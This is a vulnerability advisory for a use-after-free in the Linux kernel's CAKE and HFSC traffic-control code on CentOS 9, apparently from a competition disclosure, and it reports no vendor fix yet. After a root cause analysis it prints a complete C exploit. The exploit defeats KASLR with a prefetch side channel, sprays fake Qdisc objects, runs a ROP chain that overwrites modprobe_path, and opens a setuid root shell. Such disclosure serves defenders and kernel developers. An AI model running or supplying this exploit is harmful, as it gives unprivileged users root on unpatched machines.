Summary
A local user under the CentOS 9 operating system can trigger an use-after-free, which in turn can be used to elevate to root privileges.
Vendor Response
The vendor has been notified more than 90 days ago and has offered the only feedback that: The work is in progress. No release yet.
Credit
The vulnerability won first place in the Linux category during TyphoonPWN 2025 event.
Vulnerability Details
The specific flaw exists within the handling of sch_cake. The vulnerability occurs because the enqueue function in CAKE Qdisc returns success even though it drops the packet. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root.
Root Cause Analysis
The vulnerability occurs because the enqueue function in CAKE Qdisc returns success even though it drops the packet.
static s32 cake_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
...
if (q->buffer_used > q->buffer_max_used)
q->buffer_max_used = q->buffer_used;
if (q->buffer_used > q->buffer_limit) { // [1]
u32 dropped = 0;
while (q->buffer_used > q->buffer_limit) {
dropped++;
cake_drop(sch, to_free); // [2]
}
b->drop_overlimit += dropped;
}
return NET_XMIT_SUCCESS;
}
If buffer_used is larger than the buffer_limit value set in Qdisc [1], the cake_enqueue function calls cake_drop [2]. In cake_drop, one packet is selected and dropped from Qdisc. If buffer_limit is given a small value, such as 1, it will drop even if one packet is sent.
static int
hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
{
unsigned int len = qdisc_pkt_len(skb);
struct hfsc_class *cl;
int err;
bool first;
cl = hfsc_classify(skb, sch, &err);
if (cl == NULL) {
if (err & __NET_XMIT_BYPASS)
qdisc_qstats_drop(sch);
__qdisc_drop(skb, to_free);
return err;
}
first = !cl->qdisc->q.qlen;
err = qdisc_enqueue(skb, cl->qdisc, to_free);
if (unlikely(err != NET_XMIT_SUCCESS)) { // [3]
if (net_xmit_drop_count(err)) {
cl->qstats.drops++;
qdisc_qstats_drop(sch);
}
return err;
}
if (first) {
if (cl->cl_flags & HFSC_RSC)
init_ed(cl, len); // [4]
if (cl->cl_flags & HFSC_FSC)
init_vf(cl, len);
/*
* If this is the first packet, isolate the head so an eventual
* head drop before the first dequeue operation has no chance
* to invalidate the deadline.
*/
if (cl->cl_flags & HFSC_RSC)
cl->qdisc->ops->peek(cl->qdisc);
}
sch->qstats.backlog += len;
sch->q.qlen++;
return NET_XMIT_SUCCESS;
}
A UAF can occur when a classful Qdisc, such as an HFSC Qdisc, exists on top of a CAKE Qdisc. The HFSC Qdisc performs the enqueue process normally without exception handling because the CAKE Qdisc’s enqueue() returned NET_XMIT_SUCCESS [3]. If this is the first time a packet has been enqueued to an HFSC Qdisc class, the init_ed function is called to add the class to the HFSC Qdisc’s active list [4].
static int
hfsc_delete_class(struct Qdisc *sch, unsigned long arg,
struct netlink_ext_ack *extack)
{
struct hfsc_sched *q = qdisc_priv(sch);
struct hfsc_class *cl = (struct hfsc_class *)arg;
if (cl->level > 0 || qdisc_class_in_use(&cl->cl_common) ||
cl == &q->root) {
NL_SET_ERR_MSG(extack, "HFSC class in use");
return -EBUSY;
}
sch_tree_lock(sch);
list_del(&cl->siblings);
hfsc_adjust_levels(cl->cl_parent);
qdisc_purge_queue(cl->qdisc); // [5]
qdisc_class_hash_remove(&q->clhash, &cl->cl_common);
sch_tree_unlock(sch);
hfsc_destroy_class(sch, cl);
return 0;
}
Next, removing this HFSC Qdisc class frees the class but does not remove it from the HFSC’s active list, leaving it as a dangling pointer. The hfsc_delete_class calls qdisc_purge_queue to purge the child Qdisc, the CAKE Qdisc [5].
static inline void qdisc_purge_queue(struct Qdisc *sch)
{
__u32 qlen, backlog;
qdisc_qstats_qlen_backlog(sch, &qlen, &backlog);
qdisc_reset(sch);
qdisc_tree_reduce_backlog(sch, qlen, backlog); // [6]
}
qdisc_purge_queue calls qdisc_tree_reduce_backlog [6]. Since no packets exist in CAKE Qdisc at this time, the arguments of qdisc_tree_reduce_backlog, qlen and backlog, are called with 0.
void qdisc_tree_reduce_backlog(struct Qdisc *sch, int n, int len)
{
bool qdisc_is_offloaded = sch->flags & TCQ_F_OFFLOADED;
const struct Qdisc_class_ops *cops;
unsigned long cl;
u32 parentid;
bool notify;
int drops;
if (n == 0 && len == 0) // [7]
return;
drops = max_t(int, n, 0);
rcu_read_lock();
while ((parentid = sch->parent)) {
if (parentid == TC_H_ROOT)
break;
if (sch->flags & TCQ_F_NOPARENT)
break;
/* Notify parent qdisc only if child qdisc becomes empty.
*
* If child was empty even before update then backlog
* counter is screwed and we skip notification because
* parent class is already passive.
*
* If the original child was offloaded then it is allowed
* to be seem as empty, so the parent is notified anyway.
*/
notify = !sch->q.qlen && !WARN_ON_ONCE(!n &&
!qdisc_is_offloaded);
/* TODO: perform the search on a per txq basis */
sch = qdisc_lookup_rcu(qdisc_dev(sch), TC_H_MAJ(parentid));
if (sch == NULL) {
WARN_ON_ONCE(parentid != TC_H_ROOT);
break;
}
cops = sch->ops->cl_ops;
if (notify && cops->qlen_notify) {
cl = cops->find(sch, parentid);
cops->qlen_notify(sch, cl); // [8]
}
sch->q.qlen -= n;
sch->qstats.backlog -= len;
__qdisc_qstats_drop(sch, drops);
}
rcu_read_unlock();
}
The qdisc_tree_reduce_backlog function reduces the qlen of the current Qdisc and propagates it to the parent Qdisc [8]. Normally, the qlen_notify function should be called to delete the CAKE Qdisc’s parent class from the HFSC Qdisc’s active list, but this does not happen because the CAKE Qdisc is empty [7].
static struct sk_buff *
hfsc_dequeue(struct Qdisc *sch)
{
struct hfsc_sched *q = qdisc_priv(sch);
struct hfsc_class *cl;
struct sk_buff *skb;
u64 cur_time;
unsigned int next_len;
int realtime = 0;
if (sch->q.qlen == 0)
return NULL;
cur_time = psched_get_time();
/*
* if there are eligible classes, use real-time criteria.
* find the class with the minimum deadline among
* the eligible classes.
*/
cl = eltree_get_mindl(q, cur_time); // [9]
if (cl) {
realtime = 1;
} else {
/*
* use link-sharing criteria
* get the class with the minimum vt in the hierarchy
*/
cl = vttree_get_minvt(&q->root, cur_time);
if (cl == NULL) {
qdisc_qstats_overlimit(sch);
hfsc_schedule_watchdog(sch);
return NULL;
}
}
skb = qdisc_dequeue_peeked(cl->qdisc); // [10]
if (skb == NULL) {
qdisc_warn_nonwc("HFSC", cl->qdisc);
return NULL;
}
Since the HFSC Qdisc class remains as a danling pointer in the HFSC’s active list, using this class in hfsc_dequeue causes a UAF [9], [10].
Proof-of-Concept
KASLR Bypass
We used side-channel attack to bypass KASLR.
RIP Control and Get Root Shell
The UAF occurs when accessing cl->qdisc freed from qdisc_dequeue_peeked in hfsc_dequeue. Since qdisc_dequeue_peeked calls sch->dequeue by referencing sch freed in qdisc_dequeue_peeked [12], we utilized it to control the RIP.
static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch)
{
struct sk_buff *skb = skb_peek(&sch->gso_skb);
if (skb) { // [11]
skb = __skb_dequeue(&sch->gso_skb);
if (qdisc_is_percpu_stats(sch)) {
qdisc_qstats_cpu_backlog_dec(sch, skb);
qdisc_qstats_cpu_qlen_dec(sch);
} else {
qdisc_qstats_backlog_dec(sch, skb);
sch->q.qlen--;
}
} else {
skb = sch->dequeue(sch); // [12]
}
return skb;
}
sch->gso_skb should be empty in order to call sch->dequeue [11].
struct Qdisc {
int (*enqueue)(struct sk_buff *skb,
struct Qdisc *sch,
struct sk_buff **to_free);
struct sk_buff * (*dequeue)(struct Qdisc *sch); // [13]
unsigned int flags;
#define TCQ_F_BUILTIN 1
#define TCQ_F_INGRESS 2
#define TCQ_F_CAN_BYPASS 4
#define TCQ_F_MQROOT 8
#define TCQ_F_ONETXQUEUE 0x10 /* dequeue_skb() can assume all skbs are for
* q->dev_queue : It can test
* netif_xmit_frozen_or_stopped() before
* dequeueing next packet.
* Its true for MQ/MQPRIO slaves, or non
* multiqueue device.
*/
#define TCQ_F_WARN_NONWC (1 << 16)
#define TCQ_F_CPUSTATS 0x20 /* run using percpu statistics */
#define TCQ_F_NOPARENT 0x40 /* root of its hierarchy :
* qdisc_tree_decrease_qlen() should stop.
*/
#define TCQ_F_INVISIBLE 0x80 /* invisible by default in dump */
#define TCQ_F_NOLOCK 0x100 /* qdisc does not require locking */
#define TCQ_F_OFFLOADED 0x200 /* qdisc is offloaded to HW */
u32 limit;
const struct Qdisc_ops *ops;
struct qdisc_size_table __rcu *stab;
struct hlist_node hash;
u32 handle;
u32 parent;
struct netdev_queue *dev_queue;
struct net_rate_estimator __rcu *rate_est;
struct gnet_stats_basic_sync __percpu *cpu_bstats;
struct gnet_stats_queue __percpu *cpu_qstats;
int pad;
refcount_t refcnt;
/*
* For performance sake on SMP, we put highly modified fields at the end
*/
struct sk_buff_head gso_skb ____cacheline_aligned_in_smp; // [14]
struct qdisc_skb_head q;
struct gnet_stats_basic_sync bstats;
struct gnet_stats_queue qstats;
int owner;
unsigned long state;
unsigned long state2; /* must be written under qdisc spinlock */
struct Qdisc *next_sched;
struct sk_buff_head skb_bad_txq;
spinlock_t busylock ____cacheline_aligned_in_smp;
spinlock_t seqlock;
struct rcu_head rcu;
netdevice_tracker dev_tracker;
struct lock_class_key root_lock_key;
/* private data */
long privdata[] ____cacheline_aligned;
};
Spray a fake CAKE Qdisc. We add the stack pivot gadget to dequeue [13] and set gso_skb to NULL [14].
void spray_sendmsg(char *buff, size_t size) {
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
msg.msg_control = buff;
msg.msg_controllen = size;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
sendmsg(sockfd, &msg, 0); // [15]
}
We used the sendmsg function to spray the fake Qdiscs [15].
After spraying, sending a packet will call hfsc_dequeue to control the RIP.
Finally, modify modprobe_path by performing ROP and trigger modprobe to get a root shell.
Exploit
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <linux/tc_ematch/tc_em_meta.h>
#include <linux/rtnetlink.h>
#include <linux/net.h>
#include <linux/if_ether.h>
#include <linux/socket.h>
#include <net/if.h>
const char new_modprobe_content[] = "#!/bin/sh\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n";
int sockfd = -1;
void write_file(const char *filename, char *text) {
int fd = open(filename, O_RDWR | O_CREAT, 0600);
write(fd, text, strlen(text));
close(fd);
}
void new_ns(void) {
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
unshare(CLONE_NEWUSER | CLONE_NEWNS);
unshare(CLONE_NEWNET);
write_file("/proc/self/setgroups", "deny");
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write_file("/proc/self/uid_map", buffer);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write_file("/proc/self/gid_map", buffer);
}
void set_affinity(int cpuid){
cpu_set_t my_set;
int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);
if (cpu_cores == 1) return;
CPU_ZERO(&my_set);
CPU_SET(cpuid, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
}
#define KERNEL_LOWER_BOUND 0xffffffff82000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
#define STEP_KERNEL 0x200000ull
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL
#define DUMMY_ITERATIONS 3
#define ITERATIONS 100
uint64_t kbase = 0xffffffff81000000;
// https://www.willsroot.io/2022/12/entrybleed.html
uint64_t sidechannel(uint64_t addr)
{
uint64_t a, b, c, d;
asm volatile(".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r"(a), "=r"(b), "=r"(c), "=r"(d)
: "r"(addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
uint64_t prefetch(int phys)
{
uint64_t arr_size = ARR_SIZE_KERNEL;
uint64_t scan_start = SCAN_START_KERNEL;
uint64_t step_size = STEP_KERNEL;
uint64_t *data = malloc(arr_size * sizeof(uint64_t));
memset(data, 0, arr_size * sizeof(uint64_t));
uint64_t min = ~0, addr = ~0;
for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < arr_size; idx++)
{
uint64_t test = scan_start + idx * step_size;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
for (int i = 0; i < arr_size; i++)
{
data[i] /= ITERATIONS;
if (data[i] < min)
{
min = data[i];
addr = scan_start + i * step_size;
}
}
free(data);
return addr;
}
// simple most frequent value in array algorithm
size_t mostFrequent(size_t *arr, size_t n)
{
// code here
size_t maxcount = 0;
size_t element_having_max_freq;
for (int i = 0; i < n; i++)
{
size_t Count = 0;
for (int j = 0; j < n; j++)
{
if (arr[i] == arr[j])
Count++;
}
if (Count > maxcount)
{
maxcount = Count;
element_having_max_freq = arr[i];
}
}
return element_having_max_freq;
}
// Since there no KPTI on the remote server (as its CPU is not affected by Meltdown, so the kernel does not turn on KPTI)
// so this is actually prefetch attack. ref: https://gruss.cc/files/prefetch.pdf
void leak_kaslr()
{
size_t temp_kbase[0x8] = {0};
for (int i = 0; i < 0x8; i++)
{
// temp_kbase[i] = prefetch(0) - 0xe00000;
temp_kbase[i] = prefetch(0);
}
kbase = mostFrequent(temp_kbase, 8);
// printf("[*] Kbase 0x%lx\n", kbase);
}
void win(){
while(1);
}
uint64_t _user_rip = (uint64_t) win;
uint64_t _user_cs = 0;
uint64_t _user_rflags = 0;
uint64_t _user_sp = 0;
uint64_t _user_ss = 0;
void save_state(void) {
__asm__(".intel_syntax noprefix;"
"mov _user_cs, cs;"
"mov _user_ss, ss;"
"mov _user_sp, rsp;"
"pushf;"
"pop _user_rflags;"
".att_syntax");
return;
}
#define MODPROBE_PATH 0x2246080
// 0xffffffff813ca5c8 : push rdi ; pop rsp ; xor eax, eax ; test edx, edx ; jle 0xffffffff813ca5d5 ; jmp 0xffffffff81d3e260
// 0xffffffff81062045 : pop rdi ; jmp 0xffffffff81d3e260
// 0xffffffff81021f99 : pop rsi ; jmp 0xffffffff81d3e260
// 0xffffffff812ff6d9 : mov qword ptr [rsi], rdi ; jmp 0xffffffff81d3e260
// 0xffffffff81d26484 : swapgs ; jmp 0xffffffff81d3e260
// 0xffffffff81e0115e: iretq
#define PUSH_RDI_POP_RSP_RET 0x3ca5c8
#define POP_RDI_RET 0x062045
#define POP_RSI_RET 0x021f99
#define MOV_RSI_RDI_RET 0x2ff6d9
#define SWAPGS 0xd26484
#define IRETQ 0xe0115e
void rop_chain(uint64_t* data){
int i = 0;
data[i++] = kbase + POP_RDI_RET; // enqueue
data[i++] = kbase + PUSH_RDI_POP_RSP_RET;
data[i++] = kbase + POP_RDI_RET;
data[i++] = 0x782f706d742f; // "/tmp/x\x00\x00"
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + MODPROBE_PATH;
data[i++] = kbase + MOV_RSI_RDI_RET;
data[i++] = kbase + SWAPGS;
data[i++] = kbase + IRETQ;
data[i++] = _user_rip;
data[i++] = _user_cs;
data[i++] = _user_rflags;
data[i++] = _user_sp;
data[i++] = _user_ss;
}
#define NETLINK_BUFSIZE 4096
int ip_link_lo_up() {
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifinfo;
char buffer[NETLINK_BUFSIZE];
} req;
struct sockaddr_nl sa;
struct iovec iov;
struct msghdr msg;
int sock;
int lo_ifindex;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock < 0) {
perror("socket");
return -1;
}
lo_ifindex = if_nametoindex("lo");
if (lo_ifindex == 0) {
perror("if_nametoindex");
close(sock);
return -1;
}
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_type = RTM_NEWLINK;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.ifinfo.ifi_family = AF_UNSPEC;
req.ifinfo.ifi_index = lo_ifindex;
req.ifinfo.ifi_change = 0xFFFFFFFF;
req.ifinfo.ifi_flags = IFF_UP | IFF_RUNNING;
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
iov.iov_base = &req;
iov.iov_len = req.nlh.nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &sa;
msg.msg_namelen = sizeof(sa);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(sock, &msg, 0) < 0) {
perror("sendmsg");
close(sock);
return -1;
}
close(sock);
return 0;
}
#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0)
#define NLMSG_TAIL(nmsg) \
((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
int alen) {
int len = RTA_LENGTH(alen);
struct rtattr *rta;
if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n", maxlen);
return -1;
}
rta = NLMSG_TAIL(n);
rta->rta_type = type;
rta->rta_len = len;
if (alen)
memcpy(RTA_DATA(rta), data, alen);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
return 0;
}
struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) {
struct rtattr *nest = NLMSG_TAIL(n);
addattr_l(n, maxlen, type, NULL, 0);
return nest;
}
int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) {
nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
return n->nlmsg_len;
}
int add_qdisc_netem(int fd, u_int32_t parent, u_int32_t handle, int64_t latency) {
char *start = malloc(0x1000);
memset(start, 0, 0x1000);
struct nlmsghdr *msg = (struct nlmsghdr *)start;
// new qdisc
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE;
msg->nlmsg_type = RTM_NEWQDISC;
struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_parent = parent;
t->tcm_handle = handle;
// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
addattr_l(msg, 0x1000, TCA_KIND, "netem", 6);
struct tc_netem_qopt opt = {0,};
opt.latency = latency;
opt.limit = 1000;
addattr_l(msg, 0x1000, TCA_OPTIONS, &opt, sizeof(struct tc_netem_qopt));
struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(fd, &msgh, 0);
free(start);
return 1;
}
int add_qdisc_cake(int fd, u_int32_t parent, u_int32_t handle) {
char *start = malloc(0x1000);
memset(start, 0, 0x1000);
struct nlmsghdr *msg = (struct nlmsghdr *)start;
// new qdisc
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE;
msg->nlmsg_type = RTM_NEWQDISC;
struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_parent = parent;
t->tcm_handle = handle;
// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
addattr_l(msg, 0x1000, TCA_KIND, "cake", 5);
uint32_t buffer_config_limit = 0x400;
struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
addattr_l(msg, 0x1000, TCA_CAKE_MEMORY, &buffer_config_limit, 4);
addattr_nest_end(msg, tail);
struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(fd, &msgh, 0);
free(start);
return 1;
}
int add_qdisc_hfsc(int fd, uint32_t parent, uint32_t handle) {
char *start = malloc(0x1000);
memset(start, 0, 0x1000);
struct nlmsghdr *msg = (struct nlmsghdr *)start;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
msg->nlmsg_type = RTM_NEWQDISC;
struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_parent = parent;
t->tcm_handle = handle;
addattr_l(msg, 0x1000, TCA_KIND, "hfsc", strlen("hfsc") + 1);
struct tc_hfsc_qopt opt = {0,};
opt.defcls = 1;
addattr_l(msg, 0x1000, TCA_OPTIONS, &opt, sizeof(struct tc_hfsc_qopt));
struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(fd, &msgh, 0);
free(start);
return 1;
}
int add_class_hfsc(int fd, u_int32_t parent, u_int32_t handle, uint32_t m1, uint32_t d, uint32_t m2) {
char *start = malloc(0x2000);
memset(start, 0, 0x2000);
struct nlmsghdr *msg = (struct nlmsghdr *)start;
// new filter
msg = msg + msg->nlmsg_len;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
msg->nlmsg_type = RTM_NEWTCLASS;
struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_parent = parent;
t->tcm_handle = handle;
// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
addattr_l(msg, 0x1000, TCA_KIND, " hfsc", 5);
struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
struct {
__u32 m1;
__u32 d;
__u32 m2;
} hfsc_curve = {
.m1 = m1,
.d = d,
.m2 = m2,
};
addattr_l(msg, 0x1000, TCA_HFSC_RSC, &hfsc_curve, sizeof(hfsc_curve));
addattr_nest_end(msg, tail);
// packing
struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(fd, &msgh, 0);
free(start);
return 1;
}
int del_class(int fd, u_int32_t handle) {
char *start = malloc(0x2000);
memset(start, 0, 0x2000);
struct nlmsghdr *msg = (struct nlmsghdr *)start;
// del class
msg = msg + msg->nlmsg_len;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_flags = NLM_F_REQUEST;
msg->nlmsg_type = RTM_DELTCLASS;
struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
t->tcm_ifindex = 1;
t->tcm_family = AF_UNSPEC;
t->tcm_parent = TC_H_ROOT;
t->tcm_handle = handle;
// prio, protocol
u_int32_t prio = 1;
u_int32_t protocol = 1;
t->tcm_info = TC_H_MAKE(prio << 16, protocol);
struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
addattr_nest_end(msg, tail);
// packing
struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
struct msghdr msgh = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(fd, &msgh, 0);
free(start);
return 1;
}
void spray_sendmsg(char *buff, size_t size) {
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
msg.msg_control = buff;
msg.msg_controllen = size;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
sendmsg(sockfd, &msg, 0);
}
void loopback_send (uint64_t p, uint64_t size) {
struct sockaddr iaddr = { AF_INET };
int priority = p;
char data[0x4000] = {0,};
int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
if (inet_sock_fd == -1)
err_exit("[-] inet socket");
setsockopt(inet_sock_fd, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority));
if (connect(inet_sock_fd, &iaddr, sizeof(iaddr)) == -1)
err_exit("[-] connect");
if (write(inet_sock_fd, data, size) == -1)
err_exit("[-] inet write");
close(inet_sock_fd);
}
bool check_modprobe(){
int fd;
char modprobe_path[100];
fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
if (fd < 0)
return false;
read(fd, modprobe_path, 6);
close(fd);
modprobe_path[6] = '\0';
if(strcmp(modprobe_path, "/tmp/x"))
return false;
return true;
}
void trig_modprobe(){
char modprobe_path[20] = "/tmp/x\0";
int fd = open(modprobe_path, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
if (fd < 0)
return;
write(fd, new_modprobe_content, sizeof(new_modprobe_content));
close(fd);
// Write file starting with ffff (does not match and type of file)
// OS will execute script at modprobe_path to try to identify file type
write_file("/tmp/z", "\xff\xff\xff\xff\0");
system("chmod 700 /tmp/z");
// Trigger modprobe_path
system("/tmp/z 2>/dev/null");
// Get root shell
system("/tmp/get_root");
}
uint64_t find_max(uint64_t arr[], int size) {
uint64_t max = arr[0];
for (int i = 1; i < size; i++) {
if (arr[i] > max) {
max = arr[i];
}
}
return max;
}
uint64_t find_min(uint64_t arr[], int size) {
uint64_t min = arr[0];
for (int i = 1; i < size; i++) {
if (arr[i] < min) {
min = arr[i];
}
}
return min;
}
int main(int argc, char **argv) {
if (check_modprobe()){
setuid(0);
setgid(0);
system("sh");
return 0;
}
if(fork()){
int status;
system("cp exploit /tmp/get_root");
while(!check_modprobe())
sleep(1);
printf("[*] Modprobe changed.\n");
trig_modprobe();
return 0;
}
save_state();
new_ns();
set_affinity(0);
#define KASLR 20
uint64_t bases[KASLR] = {0,};
for(int i = 0 ; i < KASLR; i++){
leak_kaslr();
bases[i] = kbase;
}
kbase = find_min(bases, KASLR);
printf("[*] kbase: 0x%lx\n", kbase);
ip_link_lo_up();
char *buf = malloc(0x8000);
memset(buf, 0, 0x8000);
sockfd = socket(PF_NETLINK, SOCK_RAW, 0);
assert(sockfd != -1);
add_qdisc_hfsc(sockfd, TC_H_ROOT, 0x10000);
add_class_hfsc(sockfd, 0x10000, 0x10001, 8, 1, 0);
add_class_hfsc(sockfd, 0x10000, 0x10002, 8, 1, 0);
add_qdisc_cake(sockfd, 0x10001, 0x50000);
loopback_send(0x10001, 1000);
del_class(sockfd, 0x10001);
rop_chain((uint64_t*) buf);
usleep(300*1000);
spray_sendmsg(buf, 17000);
loopback_send(0x10002, 1);
}